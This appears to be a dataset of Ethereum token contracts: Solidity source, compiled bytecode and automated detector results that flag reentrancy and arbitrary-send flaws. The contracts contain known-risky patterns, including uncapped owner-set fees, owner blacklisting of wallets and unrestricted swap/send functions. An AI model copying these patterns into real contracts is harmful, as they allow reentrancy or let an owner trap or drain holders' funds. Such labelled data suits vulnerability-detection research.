uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen);
if((_launchedAt + (3 minutes)) > block.timestamp) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyTokens = 5000000 * 10**9;
_maxHeldTokens = 20000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(rate > 0);
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external onlyOwner(){
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101e75760003560e01c80636fc3eaec11610102578063a9059cbb11610095578063c9567bf911610064578063c9567bf91461058f578063db92dbb6146105a4578063dcb0e0ad146105b9578063dd62ed3e146105d957600080fd5b8063a9059cbb1461051a578063b2289c621461053a578063b515566a1461055a578063c3c8cd801461057a57600080fd5b80638da5cb5b116100d15780638da5cb5b1461049857806394b8d8f2146104b657806395d89b41146104d65780639e78fb4f1461050557600080fd5b80636fc3eaec1461042e57806370a0823114610443578063715018a61461046357806373f54a111461047857600080fd5b806331c2d8471161017a57806345596e2e1161014957806345596e2e146103aa57806349bd5a5e146103ca578063590f897e146104025780636755a4d01461041857600080fd5b806331c2d8471461032557806332d873d8146103455780633bbac5791461035b57806340b9a54b1461039457600080fd5b80631940d020116101b65780631940d020146102b357806323b872dd146102c957806327f3a72a146102e9578063313ce567146102fe57600080fd5b806306fdde03146101f3578063095ea7b31461023c5780630b78f9c01461026c57806318160ddd1461028e57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610226604051806040016040528060078152602001662220aa2922a7a760c91b81525081565b6040516102339190611696565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611710565b61061f565b6040519015158152602001610233565b34801561027857600080fd5b5061028c61028736600461173c565b610635565b005b34801561029a57600080fd5b50670de0b6b3a76400005b604051908152602001610233565b3480156102bf57600080fd5b506102a5600d5481565b3480156102d557600080fd5b5061025c6102e436600461175e565b6106af565b3480156102f557600080fd5b506102a5610703565b34801561030a57600080fd5b50610313600981565b60405160ff9091168152602001610233565b34801561033157600080fd5b5061028c6103403660046117b5565b610713565b34801561035157600080fd5b506102a5600e5481565b34801561036757600080fd5b5061025c61037636600461187a565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a057600080fd5b506102a560095481565b3480156103b657600080fd5b5061028c6103c5366004611897565b6107a9565b3480156103d657600080fd5b506008546103ea906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b34801561040e57600080fd5b506102a5600a5481565b34801561042457600080fd5b506102a5600c5481565b34801561043a57600080fd5b5061028c61081c565b34801561044f57600080fd5b506102a561045e36600461187a565b610829565b34801561046f57600080fd5b5061028c610844565b34801561048457600080fd5b5061028c61049336600461187a565b6108b8565b3480156104a457600080fd5b506000546001600160a01b03166103ea565b3480156104c257600080fd5b50600f5461025c9062010000900460ff1681565b3480156104e257600080fd5b506102266040518060400160405280600381526020016211105560ea1b81525081565b34801561051157600080fd5b5061028c610930565b34801561052657600080fd5b5061025c610535366004611710565b610b3b565b34801561054657600080fd5b506007546103ea906001600160a01b031681565b34801561056657600080fd5b5061028c6105753660046117b5565b610b48565b34801561058657600080fd5b5061028c610c61565b34801561059b57600080fd5b5061028c610c77565b3480156105b057600080fd5b506102a5610e36565b3480156105c557600080fd5b5061028c6105d43660046118be565b610e4e565b3480156105e557600080fd5b506102a56105f43660046118db565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600061062c338484610ecb565b50600192915050565b6000546001600160a01b031633146106685760405162461bcd60e51b815260040161065f90611914565b60405180910390fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106bc848484610fef565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106eb90849061195f565b90506106f8853383610ecb565b506001949350505050565b600061070e30610829565b905090565b6000546001600160a01b0316331461073d5760405162461bcd60e51b815260040161065f90611914565b60005b81518110156107a55760006005600084848151811061076157610761611976565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061079d8161198c565b915050610740565b5050565b6000546001600160a01b031633146107d35760405162461bcd60e51b815260040161065f90611914565b600081116107e057600080fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b4761082681611363565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461086e5760405162461bcd60e51b815260040161065f90611914565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161065f90611914565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610811565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161065f90611914565b600f5460ff16156109ad5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161065f565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610a12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3691906119a7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa791906119a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610af4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1891906119a7565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b600061062c338484610fef565b6000546001600160a01b03163314610b725760405162461bcd60e51b815260040161065f90611914565b60005b81518110156107a55760085482516001600160a01b0390911690839083908110610ba157610ba1611976565b60200260200101516001600160a01b031614158015610bf2575060065482516001600160a01b0390911690839083908110610bde57610bde611976565b60200260200101516001600160a01b031614155b15610c4f57600160056000848481518110610c0f57610c0f611976565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c598161198c565b915050610b75565b6000610c6c30610829565b90506108268161139d565b6000546001600160a01b03163314610ca15760405162461bcd60e51b815260040161065f90611914565b600f5460ff1615610cb157600080fd5b600654610cd19030906001600160a01b0316670de0b6b3a7640000610ecb565b6006546001600160a01b031663f305d7194730610ced81610829565b600080610d026000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d6a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d8f91906119c4565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610de8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0c91906119f2565b50600f805460ff1916600117905542600e556611c37937e08000600c5566470de4df820000600d55565b60085460009061070e906001600160a01b0316610829565b6000546001600160a01b03163314610e785760405162461bcd60e51b815260040161065f90611914565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610811565b6001600160a01b038316610f2d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161065f565b6001600160a01b038216610f8e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161065f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561101557600080fd5b6001600160a01b0383166110795760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161065f565b6001600160a01b0382166110db5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161065f565b6000811161113d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161065f565b600080546001600160a01b0385811691161480159061116a57506000546001600160a01b03848116911614155b15611304576008546001600160a01b03858116911614801561119a57506006546001600160a01b03848116911614155b80156111bf57506001600160a01b03831660009081526004602052604090205460ff16155b1561121d57600f5460ff166111d357600080fd5b42600e5460b46111e39190611a0f565b111561121957600c548211156111f857600080fd5b600d5461120484610829565b61120e9084611a0f565b111561121957600080fd5b5060015b600f54610100900460ff161580156112375750600f5460ff165b801561125157506008546001600160a01b03858116911614155b1561130457600061126130610829565b905080156112ed57600f5462010000900460ff16156112e457600b5460085460649190611296906001600160a01b0316610829565b6112a09190611a27565b6112aa9190611a46565b8111156112e457600b54600854606491906112cd906001600160a01b0316610829565b6112d79190611a27565b6112e19190611a46565b90505b6112ed8161139d565b4780156112fd576112fd47611363565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061134657506001600160a01b03841660009081526004602052604090205460ff165b1561134f575060005b61135c8585858486611511565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107a5573d6000803e3d6000fd5b600f805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113e1576113e1611976565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561143a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145e91906119a7565b8160018151811061147157611471611976565b6001600160a01b0392831660209182029290920101526006546114979130911684610ecb565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906114d0908590600090869030904290600401611a68565b600060405180830381600087803b1580156114ea57600080fd5b505af11580156114fe573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b600061151d8383611533565b905061152b86868684611557565b505050505050565b600080831561155057821561154b5750600954611550565b50600a545b9392505050565b6000806115648484611634565b6001600160a01b038816600090815260026020526040902054919350915061158d90859061195f565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546115bd908390611a0f565b6001600160a01b0386166000908152600260205260409020556115df81611668565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161162491815260200190565b60405180910390a3505050505050565b6000808060646116448587611a27565b61164e9190611a46565b9050600061165c828761195f565b96919550909350505050565b30600090815260026020526040902054611683908290611a0f565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156116c3578581018301518582016040015282016116a7565b818111156116d5576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461082657600080fd5b803561170b816116eb565b919050565b6000806040838503121561172357600080fd5b823561172e816116eb565b946020939093013593505050565b6000806040838503121561174f57600080fd5b50508035926020909101359150565b60008060006060848603121561177357600080fd5b833561177e816116eb565b9250602084013561178e816116eb565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117c857600080fd5b823567ffffffffffffffff808211156117e057600080fd5b818501915085601f8301126117f457600080fd5b8135818111156118065761180661179f565b8060051b604051601f19603f8301168101818110858211171561182b5761182b61179f565b60405291825284820192508381018501918883111561184957600080fd5b938501935b8285101561186e5761185f85611700565b8452938501939285019261184e565b98975050505050505050565b60006020828403121561188c57600080fd5b8135611550816116eb565b6000602082840312156118a957600080fd5b5035919050565b801515811461082657600080fd5b6000602082840312156118d057600080fd5b8135611550816118b0565b600080604083850312156118ee57600080fd5b82356118f9816116eb565b91506020830135611909816116eb565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008282101561197157611971611949565b500390565b634e487b7160e01b600052603260045260246000fd5b60006000198214156119a0576119a0611949565b5060010190565b6000602082840312156119b957600080fd5b8151611550816116eb565b6000806000606084860312156119d957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a0457600080fd5b8151611550816118b0565b60008219821115611a2257611a22611949565b500190565b6000816000190483118215151615611a4157611a41611949565b500290565b600082611a6357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ab85784516001600160a01b031683529383019391830191600101611a93565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122021749413e2ef188279e66143b61f38e254c394e1bbe3a2991b164d49a4b14aac64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,614 |
0x0656f9c88dca1e53832d2819c328aa198b6f2ea3
|
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
// https://t.me/lavainuportal
// https://lavainu.io
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LAVA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lava Inu ";
string private constant _symbol = "LAVA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
